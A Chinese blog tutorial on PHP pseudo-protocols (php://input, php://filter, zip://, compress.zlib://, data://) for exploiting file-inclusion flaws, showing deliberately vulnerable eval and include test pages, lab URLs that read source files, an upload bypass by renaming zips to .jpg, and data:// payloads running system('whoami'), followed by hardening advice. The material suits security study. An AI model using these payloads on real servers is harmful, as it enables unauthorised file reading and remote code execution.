PHP伪协议总结

本文详细探讨了PHP伪协议的应用,包括php://input获取POST数据、php://filter进行数据过滤、以及zip://、zlib://、bzip2://直接访问压缩文件。同时介绍了data://协议在数据传输和命令执行中的作用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x00 php://input

//所有测试均allow_url_fopen=On,allow_url_include=On!!!

php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。 enctype=”multipart/form-data” 的时候 php://input 是无效的。

——php.net

简单说就是获取post数据。

测试代码:

<?php

$d = file_get_contents('php://input');

//echo $d;

@eval($d)

?>

文件包含变命令执行:

测试代码:

<?php @include($_GET[“file”]); ?>

 

写一句话:

0x01 php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

——php.net

简单说经常利用它进行base64编码,如

php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini”

可以运用多种过滤器(字符串/转换/压缩/加密)

常用于读取文件/源码:

0x02 zip://,bzip2://,zlib://

zlib: 的功能类似 gzopen(),但是 其数据流还能被 fread() 和其他文件系统函数使用。 自 PHP 4.3.0 后这个不建议被使用,因为会和其他带“:”字符的文件名混淆; 请使用 compress.zlib:// 作为替代。

compress.zlib://、 compress.bzip2:// 和 gzopen()bzopen() 是相等的。并且可以在不支持 fopencookie 的系统中使用。

ZIP 扩展 注册了 zip: 封装器。 自 PHP 7.2.0 和 libzip 1.2.0+ 起,加密归档开始支持密码,允许数据流中使用密码。 字节流上下文(stream contexts)中使用 ‘password’ 选项设置密码。

可选项

  • zlib://file.gz
  • bzip2://file.bz2
  • zip://archive.zip#dir/file.txt

——php.net

简单说就是直接访问压缩包里的文件。

1. zip://

将phpinfo.txt压缩成zip,实战中可以改后缀为jpg绕过上传限制。

http://192.168.43.173:8999/lsawebtest/phptest/phprotocol1.php?file=zip://C:/phpStudy/PHPTutorial/WWW/lsawebtest/phptest\phpinfo.jpg%23phpinfo.txt

注意要用绝对路径+url编码#

2. zlib://

http://192.168.43.173:8999/lsawebtest/phptest/phprotocol1.php?file=compress.zlib://C:/phpStudy/PHPTutorial/WWW/lsawebtest/phptest/phpinfo.txt.gz

改后缀为jpg亦可,相对路径亦可。

 

3. bzip2://

同理于zlib://

 

0x03 data://

data://text/plain;base64,

http://192.168.43.173:8999/lsawebtest/phptest/phprotocol1.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

不加//亦可。

也可以用来读php文件源码:
data:text/plain,<?php system(‘cat /var/www/phprotocol1.php’)?>

或者命令执行:
data:text/plain,<?php system(‘whoami’)?>

 

0x04 结语

ctf中常利用php伪协议,实战中或许会有奇效。

0x05 参考资料

https://www.waitalone.cn/php-file-include.html

www.freebuf.com/column/148886.html

http://php.net/manual/zh/wrappers.php

### PHP伪协议文件包含的使用方法 PHP支持多种伪协议来处理不同类型的资源访问。这些伪协议允许通过`include()`或`require()`函数加载远程或本地文件。常见的伪协议包括: - `file://`: 访问本地文件系统中的文件。 - `http(s)://`: 通过HTTP(S)请求获取远程服务器上的文件。 #### 文件包含的基本语法 ```php <?php // 包含本地文件 include 'file:///path/to/local/file.php'; // 包含远程文件 include 'https://example.com/path/to/remote/file.php'; ?> ``` 为了提高安全性并防止潜在的安全风险,建议遵循以下最佳实践[^1]: 1. **禁用URL fopen封装器** 修改`php.ini`配置文件,设置`allow_url_include=0`以阻止通过HTTP(S)协议包含外部文件。 2. **验证输入参数** 对于动态构建路径的情况,务必对传入变量进行严格校验,避免任意文件读取漏洞(LFI)。可以采用白名单机制限定可接受的文件名列表。 3. **使用绝对路径而非相对路径** 使用完整的文件路径代替相对路径有助于减少因目录遍历攻击带来的威胁。 4. **启用open_basedir限制** 设置`open_basedir`指令能够约束脚本仅能操作指定范围内的文件夹及其子集下的文档。 5. **定期审查依赖库版本** 及时更新第三方组件至最新稳定版,修补已知安全缺陷。 6. **实施最小权限原则** 运行Web应用的服务进程应尽可能降低操作系统层面的特权等级,缩小可能造成的损害面。 7. **日志记录与监控** 开启详细的错误报告并将之重定向到独立的日志文件;部署入侵检测工具实时跟踪异常行为模式变化趋势。
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值